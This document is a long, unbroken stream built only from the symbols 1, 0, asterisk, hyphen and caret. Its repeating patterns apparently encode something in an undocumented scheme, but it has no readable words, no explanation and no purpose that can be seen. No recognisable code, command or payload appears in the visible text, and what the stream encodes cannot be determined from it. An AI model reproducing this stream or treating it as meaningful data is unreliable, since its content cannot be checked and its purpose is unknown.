1*1101*--------010-1*0-00--001^1*0101*0-11*00101*1^1*-01*1*1*-1*01^1*01101**01*1^1*01101*1^1*1^1*011****001***01^1^-0--------0010^1*-00--001^1*01101*^11*1^1*01101*0101****01**00101*-101101^1*1*1*011**11****001**1^1^-101^11****01**0^1*1*101*1**1^1*1*1*--------1^-1*-*1101*--------010-01*-00--001^1*-01**********1*0010-00^11*1*1*********00-1********00-0-*******************011*1********0-0-*******************-^1********001101101********101*01*********1^1********10101*********101011*********011*0101*10--001*1*--001^1*00-*00-0110101******001^^-11011011011******0101**1101*0----*0^1******************************01011******************************00101*00101*1010-^1*1*10-^1^1*01101*********00110^10-0---------^-1*-*1101*--------0-01*00-00110-001^1*00-**********1*0010-*101****01**01101**10^-11*0^1*--------01*01*0-00110-001^1*^1101********01^-1*00^1*^1********1*0011*00^10^^1*1*^11*1^1*-01*--------1^-1*-0010-*--------*0011*0-00110-001^1*^1101******011011*-**001*010^1*****01**0^1101**1*1^^1*1*********10101*^-*101******001011*0-101^11****001**01101^-101101^1*1*1*011****001**01101^-101^1011*1*1*--------01^-*-00^1101******^1*^-**01*010^1*****01**0101101**01*1^^1*1*--------*00101*-00110-001^1*-01**********1*0^-*101******001011*0-101^11****001**00101^-101101^1*1*1*011****001**00101^-101^1011*1*1*01011*1^1*0101****01**10101**10^-11*0^1*--------^^11*-00110-001^1*10-*******************00-0-********0-1*1********^10101********-1*1*****************************0-0-*********1*1*********01*********00101*0101*10110-001*1*110-001^1*^1*0-11*-11*1^1*0101****01***01*-101^11*00^11*1^1*01101*011****001**-01^-101^11****011**0011*1*101*^11*1*110101^--*1*001*******************0-*001*0^^11*1^1*1*1*-----1^--11011*00-*1101^1^1*^11*011****001**-01^-101^11****01***11*1*101*0011*1*1*0^1*1*1*1^1*1*1*--------01^-*-00^1101*****00-1*110110-*001*010^1*****01***^-*001*1^^1*1*-----1^-1101*11*0-*1101^1^1*1101101*011*1*^1********^-01*001*00-001*1*********1*1*^-*101*******011**0101*11****011**0011*1*101*^11*1*110101^1^11*1*001*******************0-1*01*01*1101**11*1*1*--------00110-*-00^110101*1*-11*1*^-110110-11*10^^1*1*-----1^-11*00101*-*1101^1^1*-00^-11*********^1*0--00--10-11*1*^-101*1*1*0-*01*1*--------0^-1*-00-00^-11*-----1^-1^-101*-*1101^1^1*^1101******001101*101101*00^1^^1********11010-*001*1010^1*1*********10101*0-11**0^-11*1*^-101*1*1*0-*01*1*-----1^--0-011*-*1101^1^1*10-*-01*1^1**11010-01*-01*1*1*-----1^--1010-*-*1101^1^1*1*1^-11**11*1^1*110101******^101*00101********00^11011*001*********0110-*00^1*******0010^1*011*11*^-101*1*1*0-*01*1**11*1*1*-----1010--*1**-*1101^1^1*10-**11*1^1*011****011**0011*1*101*^11*1*110101^-001*1*001**********************1*0^11011*-----1010---01*00-*1101^1^1*^1*0-11*-01*1^1**1101*011*00101*1*1*--------0^-1*-00^1*0-11*-----1010--01*1*0-*1101^1^1*^1101*****00--*^-1*00^1^^110^110-11*01010^1*1*********0^1*010-*^1*1*1*-01*1^1**11010^1*0-11*00101*1*1*-----1010--0^11*0-*1101^1^1*11010^-11******011**11011*^-00110101******11011**101******11**110-11*001******11**1*0-*001*11****011**10-001*10^1101**-1*110^---*001*0101*^11*-01*1*1*1*1*--------^10-*-00^1101*101*-11*1*^1********1**1*00^-00^1*1*-----1010--*0101*-*1101^1^1*^1101******01*0011*011*00^1^^1********0^^1*001*1010^1*1*********10101*010-00110101******11011**101*011*0-11*01101*-11*011****011**1*-*0101*-**^^1101010^101101*001*1011*******************00-1*01*0^1*1*1*1*-----1010-1101011011*-*1101^1^1*01*^-11******011***0^1^-**1*1*1*-----1010-1101010-*-*1101^1^1*1101*0-11******011***00101^-00-1*01*1******011**-00101*-*0101*1^1*01101*1*1*-1*01^1*-01*--------0^-1*-*101*0-11*------0--011**0-*1101^1^1*-10^-11*********^1*0--00--10-11*1*^101101*1*1*0-*01*1*--------0^-1*-00-10^-11*------0--00101*00-*1101^1^1*-01*-11*********^1*00-11**0^-11*1*^101101*1*1*0-*01*1*------0-110-11*00-*1101^1^1*^1101*^110-11*1*^1*01^-11**-001*1*01101*1^1**11010-01*01101*1*1*------0--^101*0-*1101^1^1*0-*0-11*011****001**10101^-10110110101******^101*00101******11**-001**01******11**0^1**00^1*******0010^1*011*11*^101101*1*1*0-*01*1*011****001**00101^-1011010^^1^1*1*1*------0-1101*001*-*1101^1^1*^110101*1^-11*1*^101101*-01^1*1*01101*1^1**1101*011*00101*1*1*--------0^-1*-0011*^-11*------0--0-001*-*1101^1^1*00110^-11*********^1*0010-*^1*1*1*01101*1^1**11010^1*0-11*00101*1*1*--------0^-1*-*-1*-11*------0--10-01*-*1101^1^1*00101*-11*********^1*0^-00110101******11011**101******01**^101**01******01**1^11**01*11****011**0011*1*101*^11*1*110^^-00-**01********************01*01*01*0011*1*1*1*1*--------0^-1*-*0101*-11*------0--010-1*-*1101^1^1*0-1**********1*0010-00110101******11011**101******01**1101^1*001******01**1**1*001*11*******00101011*10^^-*011***10101^11**1*0011*11011*1*1*1*1*******1**01^11*-*0101*1^1*10101*1*1**01*1^1*-01*--------0^-1*-*0^^-11*-----^--0^11*00-*1101^1^1*00-*-11*********^1*0--00--10-11*1*^110101*1*1*0-*01*1*--------0^-1*-*0-*-11*-----^--0-001*0-*1101^1^1*^1101******101^1*01101*001*010^-010^-11*01^^1*1*********0^1*0-11**0^-11*1*^110101*1*1*0-*01*1*-----^--0011011*0-*1101^1^1*10110^-11*10101*1^1**11010-01*10101*1*1*-----^--110-1*0-*1101^1^1*01^^-11*011****001**^-00-10110110101******^101*00101******1***10-**1******1**01*001**^1*******0010^1*011*11*^110101*1*1*0-*01*1*011****001***-00-1011010^^1^1*1*1*-----^--01010101*-*1101^1^1*^110101*0^-11*1*^1*****01**0110^1**^10^^1*1*10101*1^1**1101*011*00101*1*1*--------0^-1*-0010110^-11*-----^--^^11*-*1101^1^1*01101*-11*********^1*0010-*^1*1*1*10101*1^1**11010^1*0-11*00101*1*1*--------^10-*-00^1101*****001*110--1**01*010^1^^10-11*01^^1*1*-----^--*0-1*-*1101^1^1*^1101*****00-10-001101**01*010^^1*10-11*^-001*1*********0^1*^-00110101******11011**10^10101^-11*-10^-11*011*******00101011*10^^-*011***10^101011*00^-01*110-00-11*1*1*1*1*--------01^-*-00^1101*********^-*00^1*^1*****01**001*001*001*00-001*1*-----110--0^11*00-*1101^1^1*01011*-11*********^1*0010-00110101******11011**101******1**011011**001******1**01****1*11****011**10-001*10^1101**-1*110^^10-1*001*0101*^11*0011*0-11*1*1*1*1*--------01^-*-00^1101******1*10110-**001*010^1********0011*1*00^^-001*1*-----110--0^-*0-*1101^1^1**11*-11*********^1*0010-00110101******11011**101******01**0110^1*001******01**0011*1*001*11*******011**00101*1101*-*0010110101101*-10-1**^10110110-11*1*1*1*1*-----110--0-^1*-*1101^1^1*1*^1********01*101*00^10^^1*1*1*1*1^1*110101******^101*00101******01**11*101*001******01**0110^1*00^1*******0010^1*011*11*^^101*1*1*0-*01*1*1*1*1*1*-----110--010^11*-*1101^1^1*1*^1*****01**0-***01*00-001*1******0011**-1010110-0010-^-11*1*^^101*1*1*0-*01*1*-----110--10^-*-*1101^1^1*0-0^-11******0011*001^-*-^--10-11*1*^^101*1*1*0-*01*1*-----110--010-11*-*1101^1^1*^110^1101^-11*1*^-^^-11*-01^1*1******0011**-*10-11**0^-11*1*^^101*1*1*0-*01*1******0011***1011*-*0101*1^1*01101*-----10--110-**-*1101^1^1**10^-11*0^1*1^1*-01*-----10--1^101*00-*1101^1^1**1101010101*-11*1*^1*****01***1*1**^10^^1*1*0^1*1^1*01101*--------0^-1*-*1010^-11*-----10--1101*1*0-*1101^1^1*^1101*010^-11*1*^^^^-11*10^^1*1*********-1***01*********001011*00^1*^101101*0-*01*1*110101******^-*00101******01**0-0101*001******01**^10-*001*011*01*1*-----10---00-*0-*1101^1^1*10101*-11*110101******1*011*0101******01**01^101*001******01**110-01*001*011*01*1*01^^110101******00101101*101******11**1*001**1******11**-*1**^1011*01*1*01101*0-*01*1*0011*01*1*-----10--^^101*-*1101^1^1**01^-11*1^1*1^1*011****001***01^1^-00^1*1^1*01101*1*1*1^1*011****011**0011*1*101*^11*1*110101^11*1*1*001*******************01011*01*01*1011*-----10--1101^11*-*1101^1^1*01101**01*1^1*01101*-1*01^1*01101*0-*01^1*1*******001*0^1011*1*11010-01*^11010-01*1011*01*1*-----10--1*10-*-*1101^1^1*11011*-11*1011*01^1*011****001**1101^1*101******01**-11011*001******01***10-*00^110101******0^1101*101******01**1*011**1******01***011**01*011*01*1*0011*01^1*0101******001^-01^-0^11*-01*^11*1101*01*1*1101*01^1*0101****01**^-*00101*-1*0^1******0-**110-1*-******101**00-1*****00101**1*01********0^1*1******1*00-001******1***0^1******1**1*0011*****011**-0^1******1**00^11*****01***1*******1**0-1*1*****01***001******0101**101^1*****001**0^1101****************01**11*001*****011**-10-******1*001^101*****0011**0-*******01*00-10-****************001*001^11******101**110-1*****011**01**********101*1******1**0-******00101**0-******01**00-0011******1*001101*******1**1101011********0010-01*****011**^-1******1**0010101*****001***011******011**-10-********-10-*****001**01^-*****011**01011011*****01**01^11******101**-1011******1*0011*01*****0011**11010101******1**--1*****011**--******101***101*****001**011*11******01**0-001********101*******011*001*1******001**101^1******01**00^11*********0011********01^1^101*^1101^1*1*01101^1^1*10^^-11*0-1*1^1*0101****01**^10^-1011*01*01*1*01^1*101****1**00^1^1^-********0011*******************************011********************0101*00101*1*101^1*1*00101^1^1**11*00-0110101******001^^-11011011011*******101*01101*0--110-*0^1*******************001011*****************************************0101*00101*^^1^1*1*0^1^1^1*01101*********00110^10-0---------^-1*-0011011*--------110-*00-**1^1^1*01101**********1*0010-*101****01**010-*0010^10-*0^1*0101****01**10110^-10110110101******0-*1*101******01**1*0101*001******01**-10101*001*11*******00101011*10^^-*011***10-^-*00^11011*********01011011*001*101*01*1**1*01*1*--------1^-1*-0010-*--------10-11*0-**1^1^1*^1101******01*110110-**1*010^1*****01**01*^1*001*1^^1*1*********10101*^-00110101******-01101*101******1**010-011*001******1**0110-01*00^110101******0-*1*101******11**01101101*001******11***-01*001*11*******00101011*10^^-*011***10110^-*00^10-*^-00-11*0101*01*1*0101*01^1*0101****01**^-*0010^10-*0^1*--------101^11*-**1^1^1*10-*********1*1*********011*01********0-101*********01********************011*01********************0101*********00101********^1*0101*1*001^1*1**01^1^1*01011*10-*1^1*0101****01**^10^-101^11*001*1**************************************************************0101*00101*^-0^1*1*0-0^1^1*01101*00-0110101******001^^-11011011011*******101*01101*0--^-*0^1**************************************************************0101*00101*1*110^1*1*00110^1^1*01101*********00110^10-0---------0010-*-00^1101******10--101^1*00^1^^1*01010-11*01010^1*1*--------*011*00-00^10^1^1*01011**********1*0010-*101****01**010-*00101*0-*0^1*0101****01**10110^-10110110101******0-*1*101******1**01^-1*001******1**010--*001*11****011**0011*1*101*^11*1*110^^1101011011*001*******************0101*001*01*-1*^1*01*1**1*01*1*--------01^-*-00^1101******00^10101^11*001*010^1*****01**00110101**1*1^^1*1*--------11*001*-00^10^1^1*0-1**********1*0^-00110101******-01101*101******01**01*001*001******01**00^-*00^110101******0-*1*101******1**00-0011*001******1****011*001*11****011**0011*1*101*^11*1*110^^1101101011*001********************1*001*01*1011*^1*01*1*^1*01^1*0101****01**^-*00101*0-*0^1*--------101^11*-00^10^1^1**11*********10^11*********01*********************1*********010101101********10101101********1*^1******************0010101101********^1*0101*10^10^1*1*^10^1^1*-01*00-*1^1*0101****01**^10^-10110101*001*1**1*01^1*0101****01**11010^1^-******011*0^1101010-0-1011*1^1*011*00--------0^-1*-00^1*0-11*-----^--*01101*-*0^^1^1*1011*0-11*********^1**-^-01**110^101****01***10^-101^11*001*1*0101****01***10^-10110101*001*1*0101****01**01010^-10110110101******01011**10^-1*0-11*1*0^-11*110101******0-*1*101*1*010-11*001^10-11*011****01**01*001*0101*0101*11011010^1*0101^1101^1**0^^11*00101*-*001*1*011*001*1*--------01^-*-00^110101*^1********-0^1*00^10^^1*1*1*^^-^-11*10^^1*1*-----110--^1**0-*0^^1^1*^11**********1*0^-*0-00--01011011010-11*1*01101^^1^11010-11*001****01**0^110^--01*^1********--01*001*01****01*****0--********0--01*001*01****01*****0--0110101******-01101*101********001*0101*001*********11*11*00^110101******0-*1*101******1******001******1**00-***1*11****01**01*001*0101*0101*11011010^1*0101^1101*1**0^10-*00101*-*001*1*0101****01**01010^-10110110101******01011**101******01**010-1**1******01**0010101**^110101******0-*1*101******1**010101**001******1**011011**001*11****011**10-001*10^1101**-1*110^101*001*001*0101*01101*-1*0-11*-*001*1*011*001*1*---------10-*-001*^--110-11*-00^1*1*-----110--00^101*-*0^^1^1*0-1**********1*0^-00110101******-01101*101******1**0-^11*001******1***010101*00^110101******0-*1*101******11**01011**001******11**00101**001*11****011**10-001*10^1101**-1*110^11**1*001*0101*^11*1^1*-11*-*001*1*0101****01**01010^-10110110101******01011**10^10110110-11*11*010-11*110101******0-*1*101******1***10-1*001******1**0010-11*001*11****011**0011*1*101*^11*1*110^^11*11011*001*******************00101*01*01*0011*001*001*1*011*001*1*--------0^-1*-001*1*-11*-----10---011**-*0^^1^1*10-**********1*0^-00110101******-01101*101******01**10-001*001******01**010-11*00^110101******0-*1*101********00--01*001********001*1101*001*11****011**0011*1*101*^11*1*110^^-0011011*001*******************00101*01*0^^11*001*001*1*0101****01**01010^-10110110101******01011**101******11**01011**001******11**001011**0^110101******0-*1*101******01**00-101*001******01**0^1101*001*11****001***1^1*101*1011*01*11011***1^--11**1*0101**1*0101*001*1*--------10110-*-0011011010^11*1*^--110-11*-00^1*1*-----10--10101^1*-*0^^1^1*^1101******-1^110-**01*010^1*****001**0^1**001*1^^1*1*********10101*^-00110101******-01101*101******11***0-**1******11**-01**00^110101******0-*1*101******11**1010^1*001******11**1101^1*001*11****001***1^1*10^11011*01*11011***1^10--**1*0101**1*0-*001^1*011****01**0010^11*101******1***011011*001******1**01*1101*001*0-*-11*-----10--10^-1*-*0^^1^1*1*^1*****01**00-011**^10^^1*1*011*001^1*0101****01**11010^1^-0101*001^1*0101****01**11010^1^-*1*001^1*110101******-1*1*101******11**101*11*001******11****01*00^^1*0--------1*01*00-*0^^1^1*-1*0-11*1011*01*******0011**0010-0110101******1**1*101******1**010101**001******1***001**001*0101*011*******011**0010^^11*-*0010110101101*110-011**1*-*0-11*011****011**0011*1*101*^11*1*110^^1^-001*001*******************00101*01*01*-1*0011*0110101******-1*1*101********0011010101*001*********-0-*00^-*00--------0^-*0-*0^^1^1*0-*0-11*1101*01*******0011**0010-0110101******1**1*101******1**0-0011**1******1**001*11**1*0101*011****011**1*-*0101*-**^^1011010101*11**^11011********************11*001*01*11****001***1^1*101*1101*01*11011***1^-1011**01*0101******01**00^1011*****001**11*-*********0^1********--******11***1*******1**001^1*****001**011*1*********11011******11***01******001**-01******01**010-001******************00--******1**01010101******1**110-01********--01*****011**-01********************^1*101*1*^^1*1*00^^1^1*00-******0-1*011010110^-001**00--1*11**00^1*1*--------00110101*-*1*^1^1*11011**00^1^1**11*0101*00101****01**0^1*1^-0--------1^-1*-0011011*--------11*011*-*1*^1^1*^11**********1*0^-001**00---101**00^1*1******0-1*0^10-*-**0^1^1*01101**********1*********01*11*********001***********1**********01********001*11*******************0-*00101*^1*^1*1*01*^1^1*01101*-00^1^1*001****01*****0--001^^1^1*001*******010101010--010^^1^1*001****01**001**0--001010^1^1*001****01**0^110^--0^-001^1*001*******-1*10--*0-001^1*001*******0-11010--0-01^1^1*001****01**0-010^--001101*01^1*********1***-001*1******011*-******001*-0101***-***1^11011****10101*01*******0011010110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0011010-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01**00101*1*101*11*******011**0010^11011*-*001011010^1*110110^1*001*1101010-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1********--------0-01*00-*01*001^1*^11*01010^1*******001*011*10-0-*00--------1^-1*-00^11*--------11*01*0-*01*001^1*^1*0-11*********^1*0010-0010-01*011**1*0--------0010101*0-*01*001^1*1101*0-11*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------^1011*0-*01*001^1*00-*1101*00101*******0---1011011011******011**0011*101**--------10-11*0-*01*001^1*00-*1101**101*--------^10-*-00^1101*******0^110^1**1*010^101011*-11*101*001*1*---------0^1*-*01*001^1*0101*0-11*********^1*********01**0101*101*01^11*00^1101*0^10-11*1*011011**001*00--------1*1101*-*01*001^1*^11*0101*001101*--------110-01*-*01*001^1*0-1*01^1*11****01**0-*01*01011********1010-********001*01*********11*1********0-**********1^1**********11********01^^1*******************0011**********11*********01*01********01010-*********11*0101*1*1*001*1*********101*1*0-00101*001^1*001*******-1*10--001101*01^1*********1***-001*1******001*-********10^-**0011***01^1^1*********--------001011*00-*10101*1^1*11****01**0011*01*01011*****************************0011*********00-*********00-*********00101*00101*^11*001*1*011*001^1*01011*01010^--------*11**-*011*0^1101******0010^^-11*00^1^^1********--01*00^^1*0--------01010-*-00^110101*^-010^-11*001*001*1*1*^-010^-11*001*001*1*--------110-*00-*011*0^1101******1*001*01**00^1^^1********11*-*00^^1*********01^1*^-0010-01*011**11010101**101101010^^101**101**011010-01*011**101******00110---011011**11011******011**0011*101**--------0101011*0-*011**-*0101*******10---011011**11011******011**0011*101**--------10-11*0-*011*0^1101********0-00-*00^1*^1*****01**011*1**01*01*001*1*--------0-0-*-0010-*--------0010-1*-*1011*--------10-001*-*011*0^11*********1011*********0-**********1**101*101*01^11*00^1101*-010-11*1*011*1*00101*00--------^-01*-*011*0^1101*****00^^-1*11**^1^^1*****01**0^1***^^1*00101*001101*********10101*********01101101*********0-*********^11*********00-*******************1*101********010-1*********1101101********11*101********01101101********1101*0101*1*01**11*011011*001*001^1*001****01**001**0--01011**1****01**0^110^--001101*01^1*********1***-001*1******01*0-*****01**0^101****1***1^1^1******0--------00101**-00101*001^1*01101*01010^-*00--------01^-*-00^1101********0-*01*00^1*^1********1*0011*00^-*001*1*--------1*11*00-00101*001^1*^11**********1*0--00^1101*-0011*^110^^-11*001****01*****0--********01^^1*001*01*******0-11010--0^1*0110110^1011**1*******1**00101**00^1011*01*1^-11*0011*******001**00101**1*101**011010-01*011*00--------*1011*0-00101*001^1*11011*1101*00101****1**0101101*0010^11**01**--------*-1*0-00101*001^1*^110^^1*-11*1*^-1*10-11*-*001*1*1101*001**--------1^-1*-*0-*---------1*1*-00101*001^1**11**********1*********01**0101*101*01^11*00^1101*-*1*011*1*00101*00---------00101*-00101*001^1*^1101******1^^11*001*001*010^1*****01**010110-*001*11*001*1*0101*001101*--------0-1101*-00101*001^1*^1*0-11*01^1*11****01**0101*01*01011******************00-1**********1*1********01*1101********1010101********010^11********00^-********0-10101********001*1********01*1101********01^1********001101*0101*10101*001*1*********01*01*0-00-*001^1*001****01*****0--0011*001^1*001*******010101010--001101*01^1*********1***-001*1******01011*1*****01**0011*****01**001^1^1*1*******0010101*********11*******00101**1^1*****00^1*00-001********00--1******************************0-******^1**1*11******01*0-11******01**010^101********01**1*******0010101*********11*******0^1*0-0101******01*00-^11******1**001*1****************001^101*001********001010^-00^1*1*-----11010-11011*1*-00--------1010-*0-001*00101^1*^110101*^10-*0-11*1*1^1*1*1*^1*****01**0^1101**^1*1^1*1*00110-11010^^1101******00110^1^-*00^1^^1********11010-*00^^-001*1*0101^-010^1*00101^1*10-*101**0110^1**00--101011*01010^1*1*01^10-010^1*00101^1*0101*0-11*01010^1^1*-01**--10101*101*0-11*1^110-010^1*00101^1*01011*101**0110^1**00--101101*01010^1*1*--0-010^1*00101^1*^11*01010^1^1*01011*010101*11**********1**********11*1*******************00101*********0--*********1**********^1101********001011*********0101********************11*1*********010101*********11*0101*101*00101*1*1*00101^1**11****-101101^^11**0-10-010110-010^--001^1*11011*------10-1*^10--00^101^-*1*10^1*1*^10^1*1*101*-1010^--001^1*^1101******0110-11011**00^1^^1*****01***0-1**^^-001*1*^10^1^1**11010-01*^10^1*1********************00101********************011********************00101*********00101********00-*00101*10--001*1*--001^1**11*00-0110101******001^^-110110^1*0^--10101*0011*101010-1010^10-^1^1*01011*101**0110^^1******************************001101*********01101*********01*1*******************001101*********0-*00101*1010-^1*1*10-^1^1*00-**-*-10-101^-010^110-001^1*00-*-----1^-11*101010-1^^11010-01*0101*01*1*0-*01*1*1101010-010^110-001^1*1101101*-*1*^-110110-11*1*1^1*1*0-*01^1**11010-01*0-*01*1*00-10-010^110-001^1*^11*-----1010-1^110-0-11*^1*1*1*10101*1*1*010^-1010^110-001^1*-01*10101*1^1**11010-01*10101*1*1********************10101*********10-******************************^11*******************001101*********01101*********0^1*0101*10110-001*1*110-001^1*01011****-101101^^11**0-10110101****01**00101*-101^1^^1*1*011*00------0-110-11*00-00-01^1^1*0011*0-11*011****001**1^1^-101^11****01**001*001*101*1**01^^1*1*011****001**-01^-1011010^^1*1*01^^1*1*011****001**10101^-1011*1*001*1*01^^1*1*------0-1101^11*0-00-01^1^1*1^1*-11*011****001**^-00-10110101*001*1*01^^1*1*01^^1^1*011****001***01^1^-010^^1^1*1*******0011**0010-011*^1*1*01^^1*******0011**0010-0011*******1*11*0010^10-*1*1*1010--0101*0011*-11*------0--001^1*-00-01^1^1*1*1*-11*^1**1101*101*******01*00-101^11****011**0011*1*101*^11*1*110^^-1^1**01*******************01011*01*0^^11*0101*******11*00-1011*^^1*1*-10-11010^1*^1********^-01*00^10101^1*1*------0-110-0011*-00-01^1^1*^11*-11*^1**1101*101*******01*00-1011*01**^^1*1*^10-11010^^1101*****001*011010110101*00^1^^1*****01**01011*1*00^^-001*1*------0--*-1*-00-01^1^1*00-**1**1101*101********0^-101^11****011**0011*1*101*^11*1*110^^1^1011**01********************11*01*0^-01*0101*******11*00-1011*^^1*1*00^^1^1*1*******0011**0010-0011*******1*11*0010^11011*1*1*^10-11010^^1101******101010-001011*00^1^^1********01^101*00^^-001*1*-----^--^-*00-00-01^1^1*^1101********00-1011*00^1*^^101*-11*00101^1*1*0^1*00110^11*^1*1*-----^---^1*0-00-01^1^1*^1*0-11*11*^1^1*011*******1*11*00101*1*^1*1*01*^1^1*1********1^^10^10-0101*******1011*0101******1***1^11*001******1**0-00101*001**0^1*1*1*0^1*1*-----^--110-1*0-00-01^1^1*^1101******01^-1101101*001*010^11*0010-11**-001*1*1*0^1^1*110101******-10101*101********00110^11*001********00-10101*001*11****01**01*001*0101*0101*11011010^1*0010^-1***001*0011*00101*110101******110101*00101******11**1^1**001******11**00-01**1**0^1*1**00^1^1*110101******01***101******01***011**01******01**-0-**^^1*01*1*-01*1*1******01****10110-0-0010-11010^^1101******^11*0101011*001*010^1********101*01*001*00-001*1*-----^--01^-*-00-01^1^1*^110^1101^-11*1*^-0-00-11*00101^1*1*-1**1101*011*01*1*-----^--^-11*-00-01^1^1*^11*0011*01^1*011********011*0010^-01*0^1*01101*0101*******00110^--00-1*1*1*10-*1*1*11011*1*1*^11*0^1*1*1*1*1*0-1*1^1*1********1^^10^10-0101*******1011*0101******01**-001**01******01**001^1**1*1101*1*1*-11*1*1*-----110--001011*00-00-01^1^1*01011*-11*-11*1^1*110101******-10101*101******1**01^-1*001******1**0-0^1*001*11****01**01*001*0101*0101*11011010^1*0010^-1011**001*1011*00101*110101******110101*0010^1*0110-11*0-0^-11*01101*1*1*^10-11010^^1101********0-10101*00^1*^1********001*01*00^1*1^1*1*-----110--0110-*0-00-01^1^1*^1101******--01^1**001*010^1********001*01*001*00-001*1*10101*0^11*0011**1*01*1*0110--010^^11*-----110--1^^1*-00-01^1^1*^1101******0-101*01101*001*010^1********-10-*00^10110^1*1*10101*0^11*0-*-*001*1*-----110--10110101*-00-01^1^1*1101*0-11*0-1*1^1*0101*******00110^--010-*1^1*1********1^^10^10-0101*******1011*0101******11**1101101**1******11***011**01*1101*1*1*00-*1*1*-----110---01011*-00-01^1^1*^11010-10^-11*1*^-*010-11*10101^1*1*00-*1^1*110101******-10101*101******01**10-11**1******01**^11**001*11*******00101011*10^^-*011*010^10101^-*001*1101*00110^-11*110101******110101*00101******11**0-011**1******11**1*01**01*1101*1*1*11011*1^1*1********1^^10^10-0101*******1011*0101******11**10-11**1******11**01101**001*1101*1*1*01011*1*1*-----10---1101*00-00-01^1^1*0-1*01011*1^1*110101******-10101*101******01***-11*001******01**00-001*001*11*******011**00101*0-*-*00101101011*00110^11**01********001010^1*00^110101******110101*00101*0011010-11*-01*-11*01101*1*1*-----10---*11*0-00-01^1^1*^1101*0-00-11*1*^1********101*01*001*0101^1*1*1*********00101**10101******001*00-^-0110101******01^101*101******11**00-101*001******11**10110-*00^110101*******1011*0101******11**^11**001******11**0^-**1*1101*1*1**11*1*1*^11*0^1*-----10---*101*-00-01^1^1**01*-11**11*1^1*110101******-10101*101******1**001011**001******1**00--**1*11****01**01*001*0101*0101*11011010^1*0010^11*101**01*1101*00101*110101******110101*00101*********0110101*001********0011*-*001*1101*1*1*-01*1^1*0101*******00110^--0-----10--101*-*-00-01^1^1*01101*00101*1^1*0101******00110110101^-0^110^-1**11010110101*******1^1*101******1**0-10-*001******1**00^^1*00^^1*01*1*011****011**--01*101*********0--*001********00^1^1*001*0101*0^1*--------01101**-00-01^1^1*01101*00101*1^1*0101*******10110101^-*0110^1010110110101*******1^1*10^10110^-11**01010-11*^1*01*1*011****01**01*011*0101******11**00^11**1******11***1***1*0101*0^1*^10-11010^^1101******10-1*0-1**1*010^1********-10101*00^10110^1*1*--------1^101*0-00-01^1^1*11011010^1*0-11*1*^11*-0-11*10101^1*1*-1*01^11*-1*011*******10-11*0101******01**00^1**01******01**011011**01*1101*1^1*110101******01***101******11**00-11**1******11**110-**0^^1*01*1*00101*1*1*****************01**1010101*****0011**101*11******1*001^101*****001**0^-11*****001***-01*****001**1^1101*****001***0^1******1*0011*1******1**001^1******11**0010-1********01^-*****001**11*1******11***0011*****001**00^101******01*00110^1*****001***-011********011*1*****0011**010-******1**00101101*****001**00^1101*****011***10101*****011**0-*****************001***0^1*****011**0-*********01^-********0-00101********00-*101*10-01^1*1*-01^1^1*01011******0101*001101**0-0010101*1^1*-01*-----110--*101*00-001^1^1^1*^1101********010-011*00^1*^1*****01**01010-**^10101^1*1******0101**11011*-11*1101*0^1*1*1*00101*1^1*1^1*1*1*-----110--^^1*0-001^1^1^1*1101*0-11******0101*00110^^10-*011*01*1*-----110--^1101*0-001^1^1^1*^110^1^^-11*1*^110-*-11*0-0^1*1*0011*01^1*011*******-101*0010^1^1*0^1*0^1*0^1******001******0^1*1*1*1*1^1*1^1*0101*******00110^--00^1*1^1*01101*-----110--001*01*-001^1^1^1*^1101*********10^1*00^1*^10-0110-11*00101^1*1******0101*00-1*1010-*011*01*1*0011*01^1*011*******101101*0010^1*1*0^1*01101**01*0^1*1*1*1^1*0101*******00110^--0-----110--*01101*-001^1^1^1*1011*0-11*1011*01^1*011****001**00^1*00101******11**01*101*001******11**001^11*001*00110^1010110110101*******1^1*101******01**110^11*001******01**01101101*001*11*****1**101**010^1*********001*00101^1****001**0011*00--0011****01**01*011*0101******01**11***001******01**-1011**^1011*00^1*-----110--110-11*-001^1^1^1*0011*0-11*1*********00101**10101******001*00-^-0110101******01^101*101******11**010-11*001******11**11010101*00^-1*01*1**01*0^1*-1*01^1*110101******01***101*********1*011*001********00101*01*001*11*****1**101**010^1*********001*00101^1****001**0011*00--01011*01*1******0011*00101^1*0-*-*01^1*01101*1011*01^1*1101*01*1******0011*0011*10110-0-010--010^1*1*-11*-----10--1*1101*0-001^1^1^1*00-**1**1101*11****01**011*01*0101******01**^10-*001******01**-1^1*001*011*01*1*0011*01^1*011*******0-01*0010^1101*00^1*0101*00^1*01101*1101*01^1*0101*******00110^--00101*01^1*01101*-----10--1^1*1*-001^1^1^1*10101*-11*^1*01^1*0101*******010^1*101*1*******01011**0010------0--10-^1*-001^1^1^1*10101*-11*^1*01^1*0101*******010^1*101*1********11**0010-010--010^^1*0-11*-----10---101101*-001^1^1^1*1^1*-11*^1*00^11*0011**1*01*1*1010--010^^1*0-11*-----10--1^^11*-001^1^1^1*^110101^1^-11*1*^1*****01**01*1**00^10101^1*1*0^1*0^11*0-*-*001*1**1*01^1*110101******001*01*101******1**0^-01*001******1**00110^1*001*11*001*1*-----10---00-1*-001^1^1^1*0^1*-11*-*001^1*110101******001101*00101******11**010-11*001******11**11*011*001*11*001*1*011*001^1*110101******11***101******11**1101101**1******11**01^11**1*11****011**01*001*101******1**001011**001******1**01101011**^---------101*00-001^1^1^1*0-1*101*001^1*1*******0011**0010-0110101******0--*0101******1***1***01******1**010101**001*11****011**1*-*0101*-**^^1011010-101**00^-01********************-*01*0^^1*0--------01*11*0-001^1^1^1*0101*0-11*001*001^1*1*******0011**0010-0110101******0--*010^--00-11*0-0^-11*011*******011**0010^11011*-*001011010^1*110^1**001*0-*-11*^1******00-*0010-0-0-0-00--10101*1011*1*^-010^1^1^1^1*1*^11*1*-11*00101^1*1*^1*010110^^1*******1**1010-*****001***101*********-1*********001010-********01010101*****01**00-001*****001***10-1*****01**001*101*****001**^11******01**010110-*****01**001*101*****001**0010101********0110-********00--11********0-011*****001**00101101*****001**0^^1*******************00101**********11011********01^11******1**001*1*******************-01*101*101^1^1*1*1^1^1^1*11011*1011*0110101******01*101*101******11**01^-*001******11**00110-*001*001*0-**011*00101^1^10^1*1**10^1*1*******01*010110101*-00^10^1^1*01101**10^1^1*110101******0010-*0101******1**011011**001******1**010-**00^-*******^1*0-1011010-0-1^^1^1*011*00^--1010^^11*^1^-0101**1^1^1*^110101*^1********-11011*0